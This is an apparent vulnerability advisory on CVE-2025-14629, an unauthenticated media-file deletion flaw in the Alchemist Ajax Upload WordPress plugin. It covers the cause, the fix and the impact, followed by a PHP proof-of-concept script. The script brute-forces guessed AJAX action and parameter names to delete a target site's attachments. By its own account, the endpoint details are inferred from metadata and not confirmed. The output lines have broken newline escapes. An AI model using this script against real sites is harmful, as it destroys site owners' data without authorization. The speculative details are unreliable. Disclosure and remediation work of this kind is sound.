Atomic Edge analysis of CVE-2025-14629 (metadata-based):
The Alchemist Ajax Upload plugin for WordPress contains an unauthenticated arbitrary media file deletion vulnerability in all versions up to and including 1.1. The vulnerability exists in the plugin’s ‘delete_file’ function, allowing attackers without authentication to delete any WordPress media attachment.
Atomic Edge research identifies the root cause as CWE-862 Missing Authorization. The vulnerability description confirms the ‘delete_file’ function lacks a capability check. Without access to the source code diff, this analysis infers the function is likely registered as an AJAX handler accessible to unauthenticated users via the ‘wp_ajax_nopriv_’ hook. The plugin’s authorization mechanism is absent, failing to verify if the requesting user possesses the ‘delete_posts’ capability or a plugin-specific permission before executing the deletion operation.
Exploitation involves sending a crafted HTTP POST request to the WordPress admin AJAX endpoint. The attacker must specify the plugin’s AJAX action, which likely follows a naming convention like ‘alchemist_ajax_upload_delete_file’ or a similar pattern derived from the plugin slug. The request must include a parameter, such as ‘file_id’ or ‘attachment_id’, containing the numeric ID of the target WordPress media attachment. No authentication cookies or nonce tokens are required due to the missing authorization and likely missing nonce verification.
Remediation requires implementing proper authorization checks. The fix should add a capability check, such as `current_user_can(‘delete_posts’)`, at the beginning of the ‘delete_file’ function. Alternatively, the function should be re-registered to use the authenticated ‘wp_ajax_’ hook only, removing the ‘wp_ajax_nopriv_’ registration. Nonce verification should also be added to prevent CSRF attacks, though this is a separate issue from the missing authorization flaw.
Successful exploitation results in the permanent deletion of arbitrary media files from the WordPress site’s library. This constitutes data loss and integrity violation. Attackers can disrupt site functionality by removing images, documents, or other media critical for site operation or content display. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability, as the attack only removes files without reading them or causing service disruption beyond the missing media.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14629 - Alchemist Ajax Upload <= 1.1 - Missing Authorization to Unauthenticated Arbitrary Media File Deletion
<?php
/**
* Proof of Concept for CVE-2025-14629.
* This script demonstrates unauthenticated media file deletion in the Alchemist Ajax Upload plugin.
* Assumptions based on metadata analysis:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
* 2. The AJAX action name contains 'delete_file' and likely prefixes the plugin slug.
* 3. The required parameter is a media attachment ID.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$attachment_id = 123; // CHANGE THIS to target media file ID
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Infer the AJAX action name. Common patterns include:
// - {plugin_slug}_delete_file
// - {plugin_slug}_ajax_delete_file
// - delete_file (less likely)
// We try the most likely pattern first.
$plugin_slug = 'alchemist_ajax_upload';
$possible_actions = [
$plugin_slug . '_delete_file',
$plugin_slug . '_ajax_delete_file',
'delete_file'
];
echo "[*] Targeting: $target_urln";
echo "[*] Attempting to delete attachment ID: $attachment_idnn";
foreach ($possible_actions as $action) {
echo "[*] Trying AJAX action: $actionn";
$post_fields = [
'action' => $action,
'file_id' => $attachment_id // Common parameter name
];
// Alternative parameter names
$alt_params = ['attachment_id', 'id', 'media_id'];
// Try primary parameter name first
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo " HTTP Code: $http_coden";
echo " Response: " . substr($response, 0, 200) . "n";
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false)) {
echo "[+] SUCCESS: Likely deleted attachment using action '$action' with parameter 'file_id'.n";
curl_close($ch);
exit(0);
}
curl_close($ch);
// Try alternative parameter names
foreach ($alt_params as $param) {
$ch = curl_init();
$post_fields_alt = ['action' => $action, $param => $attachment_id];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields_alt);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false)) {
echo "[+] SUCCESS: Likely deleted attachment using action '$action' with parameter '$param'.n";
curl_close($ch);
exit(0);
}
curl_close($ch);
}
}
echo "[-] Exploit attempt completed. No successful deletion confirmed.n";
echo "[-] The plugin may not be active, the attachment ID may be invalid, or the action/parameter names differ.n";
?>